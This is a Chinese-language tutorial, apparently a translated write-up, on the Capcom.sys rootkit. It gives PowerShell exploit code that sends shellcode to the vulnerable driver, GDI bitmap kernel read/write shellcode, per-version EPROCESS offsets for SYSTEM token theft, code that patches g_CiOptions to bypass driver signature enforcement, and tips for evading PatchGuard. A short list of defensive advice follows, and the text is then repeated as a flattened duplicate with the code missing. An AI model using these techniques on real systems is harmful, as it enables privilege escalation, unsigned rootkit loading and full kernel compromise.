Capcom Rootkit实现原理与分析(翻译)
字数 1609 2025-08-25 22:58:47

Capcom Rootkit实现原理与分析教学文档

1. 背景与概述

Capcom Rootkit利用了Capcom.sys签名驱动中的漏洞,实现了内核级权限提升和驱动签名绕过功能。该技术通过合法签名驱动的漏洞执行任意内核代码,进而实现以下功能:

  • 任意进程权限提升至SYSTEM
  • 绕过驱动签名强制(DSE)加载未签名驱动

2. 驱动漏洞分析

2.1 Capcom.sys漏洞原理

Capcom.sys驱动存在一个关键漏洞:

  • 驱动接受用户空间提供的指针
  • 禁用SMEP(Supervisor Mode Execution Prevention)
  • 直接在用户提供的指针地址处执行代码
  • 执行完成后恢复SMEP

2.2 漏洞利用代码分析

反汇编关键代码:

cmp [rax-8], rcx

PowerShell POC利用代码:

[IntPtr]$Pointer = [CapCom]::VirtualAlloc([System.IntPtr]::Zero, (8 + $Shellcode.Length), 0x3000, 0x40)
$ExploitBuffer = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8) + $Shellcode
[System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer, 0, $Pointer, (8 + $Shellcode.Length))
$hDevice = [CapCom]::CreateFile("\\.\Htsysm72FB", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
[CapCom]::DeviceIoControl($hDevice, 0xAA013044, $InBuff, $InBuff.Length, [ref]$OutBuff, 4, [ref]0, [System.IntPtr]::Zero) | Out-null

3. 内核读写能力获取

3.1 GDI位图技术

通过构造原始GDI位图结构实现持续内核读写:

# Leak BitMap pointers
$Manager = Stage-gSharedInfoBitmap
$Worker = Stage-gSharedInfoBitmap

# Shellcode buffer
[Byte[]] $Shellcode = @(
    0x48, 0xB8) + [System.BitConverter]::GetBytes($Manager.BitmappvScan0) + @(
    0x48, 0xB9) + [System.BitConverter]::GetBytes($Worker.BitmappvScan0) + @(
    0x48,0x89,0x08, # mov qword ptr [rax],rcx
    0xC3 # ret
)

4. Rootkit功能实现

4.1 任意进程权限提升

实现步骤:

  1. 获取System(PID 4)的EPROCESS结构指针
  2. 读取SYSTEM token
  3. 遍历ActiveProcessLinks链表
  4. 找到目标进程EPROCESS结构
  5. 覆盖目标进程token

关键数据结构:

  • EPROCESS结构在不同Windows版本中的偏移不同:
    • Windows 10/Server 2016:
      • UniqueProcessIdOffset: 0x2e8
      • TokenOffset: 0x358
      • ActiveProcessLinks: 0x2f0
    • Windows 8.1/Server 2012 R2:
      • UniqueProcessIdOffset: 0x2e0
      • TokenOffset: 0x348
      • ActiveProcessLinks: 0x2e8
    • Windows 7/Server 2008 R2:
      • UniqueProcessIdOffset: 0x180
      • TokenOffset: 0x208
      • ActiveProcessLinks: 0x188

4.2 驱动签名绕过(DSE Bypass)

实现原理:

  • 修改ci.dll中的全局变量g_CiOptions
    • 0x0: 禁用
    • 0x6: 启用
    • 0x8: 测试模式

实现步骤:

  1. 获取ci.dll基址
  2. 定位CiInitialize函数
  3. 搜索跳转指令找到CipInitialize
  4. 搜索mov指令定位g_CiOptions
  5. 修改g_CiOptions值

关键代码:

# 定位CiInitialize
$SystemModuleCI = Get-LoadedModules | Where-Object {$_.ImageName -Like "*CI.dll"}
$CIHanle = [Capcom]::LoadLibraryEx("ci.dll", [IntPtr]::Zero, 0x1)
$CiInitialize = [Capcom]::GetProcAddress($CIHanle, "CiInitialize")
$CiInitializePtr = $CiInitialize.ToInt64() - $CIHanle + $SystemModuleCI.ImageBase

# 定位CipInitialize (搜索jmp指令)
for ($i=0;$i -lt 500;$i++) {
    $val = ("{0:X}" -f $(Bitmap-Read -Address $($CiInitializePtr + $i))) -split ""
    if ($val[-1] -eq "E9") {
        $Distance = [Int]"0x$(($val[-3,-2]) -join '')"
        $CipInitialize = $Distance + 5 + $CiInitializePtr + $i
        break
    }
}

# 定位g_CiOptions (搜索mov指令)
for ($i=0;$i -lt 500;$i++) {
    $val = ("{0:X}" -f $(Bitmap-Read -Address $($CipInitialize + $i))) -split ""
    if ($val[-1] -eq "89" -And $val[-2] -eq "0D") {
        $Distance = [Int]"0x$(($val[-6..-3]) -join '')"
        $g_CiOptions = $Distance + 6 + $CipInitialize + $i
        break
    }
}

# 修改g_CiOptions
Bitmap-Write -Address $g_CiOptions -Value $SetValue

5. PatchGuard规避

注意事项:

  • g_CiOptions受PatchGuard保护
  • 修改后不会立即触发蓝屏
  • 加载未签名驱动后应立即恢复原值
  • 延迟检测机制可被利用

6. 防御建议

  1. 部署驱动白名单策略
  2. 启用设备保护功能
  3. 监控签名驱动的异常行为
  4. 定期更新驱动签名策略

7. 参考资源

  1. Windows driver signing bypass by Derusbi
  2. A quick insight into the Driver Signature Enforcement (@j00ru)
  3. Terminus Project (@rwfpl) - EPROCESS结构偏移维护
  4. Capcom.sys漏洞分析视频:
    • https://youtu.be/pJZjWXxUEl4
    • https://youtu.be/UGWqq5kTiso

8. 总结

Capcom Rootkit展示了签名驱动漏洞对系统安全的严重威胁:

  1. 合法签名驱动中的漏洞可被利用执行任意内核代码
  2. 通过GDI位图技术可实现持续内核读写
  3. EPROCESS结构遍历可实现任意进程权限提升
  4. ci.dll中的g_CiOptions修改可绕过驱动签名强制
  5. PatchGuard的延迟检测机制可被规避

该技术强调了驱动白名单和设备保护的重要性,以及持续监控系统内核完整性的必要性。

Capcom Rootkit实现原理与分析教学文档 1. 背景与概述 Capcom Rootkit利用了Capcom.sys签名驱动中的漏洞,实现了内核级权限提升和驱动签名绕过功能。该技术通过合法签名驱动的漏洞执行任意内核代码,进而实现以下功能: 任意进程权限提升至SYSTEM 绕过驱动签名强制(DSE)加载未签名驱动 2. 驱动漏洞分析 2.1 Capcom.sys漏洞原理 Capcom.sys驱动存在一个关键漏洞: 驱动接受用户空间提供的指针 禁用SMEP(Supervisor Mode Execution Prevention) 直接在用户提供的指针地址处执行代码 执行完成后恢复SMEP 2.2 漏洞利用代码分析 反汇编关键代码: PowerShell POC利用代码: 3. 内核读写能力获取 3.1 GDI位图技术 通过构造原始GDI位图结构实现持续内核读写: 4. Rootkit功能实现 4.1 任意进程权限提升 实现步骤: 获取System(PID 4)的EPROCESS结构指针 读取SYSTEM token 遍历ActiveProcessLinks链表 找到目标进程EPROCESS结构 覆盖目标进程token 关键数据结构: EPROCESS结构在不同Windows版本中的偏移不同: Windows 10/Server 2016: UniqueProcessIdOffset: 0x2e8 TokenOffset: 0x358 ActiveProcessLinks: 0x2f0 Windows 8.1/Server 2012 R2: UniqueProcessIdOffset: 0x2e0 TokenOffset: 0x348 ActiveProcessLinks: 0x2e8 Windows 7/Server 2008 R2: UniqueProcessIdOffset: 0x180 TokenOffset: 0x208 ActiveProcessLinks: 0x188 4.2 驱动签名绕过(DSE Bypass) 实现原理: 修改ci.dll中的全局变量g_ CiOptions 0x0: 禁用 0x6: 启用 0x8: 测试模式 实现步骤: 获取ci.dll基址 定位CiInitialize函数 搜索跳转指令找到CipInitialize 搜索mov指令定位g_ CiOptions 修改g_ CiOptions值 关键代码: 5. PatchGuard规避 注意事项: g_ CiOptions受PatchGuard保护 修改后不会立即触发蓝屏 加载未签名驱动后应立即恢复原值 延迟检测机制可被利用 6. 防御建议 部署驱动白名单策略 启用设备保护功能 监控签名驱动的异常行为 定期更新驱动签名策略 7. 参考资源 Windows driver signing bypass by Derusbi A quick insight into the Driver Signature Enforcement (@j00ru) Terminus Project (@rwfpl) - EPROCESS结构偏移维护 Capcom.sys漏洞分析视频: https://youtu.be/pJZjWXxUEl4 https://youtu.be/UGWqq5kTiso 8. 总结 Capcom Rootkit展示了签名驱动漏洞对系统安全的严重威胁: 合法签名驱动中的漏洞可被利用执行任意内核代码 通过GDI位图技术可实现持续内核读写 EPROCESS结构遍历可实现任意进程权限提升 ci.dll中的g_ CiOptions修改可绕过驱动签名强制 PatchGuard的延迟检测机制可被规避 该技术强调了驱动白名单和设备保护的重要性,以及持续监控系统内核完整性的必要性。